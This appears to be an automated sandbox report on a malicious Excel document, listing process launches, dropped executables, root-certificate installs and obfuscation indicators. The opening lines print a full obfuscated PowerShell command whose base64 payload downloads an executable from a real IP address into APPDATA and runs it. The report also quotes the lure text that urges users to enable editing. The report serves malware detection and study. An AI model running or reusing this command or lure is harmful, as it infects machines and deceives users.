Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Compiles C# or VB.Net code
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.cmdline"
Contains functionality to dynamically determine API calls
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress, 25_2_0041CB50
PE file contains sections with non-standard names
Source: csrss[1].exe.7.dr Static PE information: section name: .managed
Source: csrss[1].exe.7.dr Static PE information: section name: hydrated
Source: winiti.exe.7.dr Static PE information: section name: .managed
Source: winiti.exe.7.dr Static PE information: section name: hydrated
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_000007FE899F022D push eax; iretd 7_2_000007FE899F0241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_000007FE899F00BD pushad ; iretd 7_2_000007FE899F00C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00457106 push ecx; ret 25_2_00457119
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0045B11A push esp; ret 25_2_0045B141
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0045E54D push esi; ret 25_2_0045E556
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00457A28 push eax; ret 25_2_00457A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00434E56 push ecx; ret 25_2_00434E69

Persistence and Installation Behavior
barindex
AI detected suspicious Excel or Word document
Source: Office document LLM: Score: 9 Reasons: The screenshot contains a visually prominent Microsoft Office logo and text stating 'This document is protected,' which can mislead users into thinking it is a legitimate document. The instructions provided create a sense of urgency by stating 'Open the document in Microsoft Office' and 'If this document was downloaded from your email, please click Enable Editing from the yellow bar above.' This language is designed to prompt immediate action. The use of a well-known brand (Microsoft Office) adds to the credibility of the document, increasing the likelihood of users following the instructions without suspicion. The sense of urgency is directly connected to the prominent instructions, making it highly likely that the document is designed to deceive users into enabling potentially harmful content.
Installs new ROOT certificates
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Contains functionality to download and launch executables
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00406EB0 ShellExecuteW,URLDownloadToFileW, 25_2_00406EB0
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.dll Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\csrss[1].exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.dll Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\winiti.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle, 25_2_0041AA4A
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress, 25_2_0041CB50
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
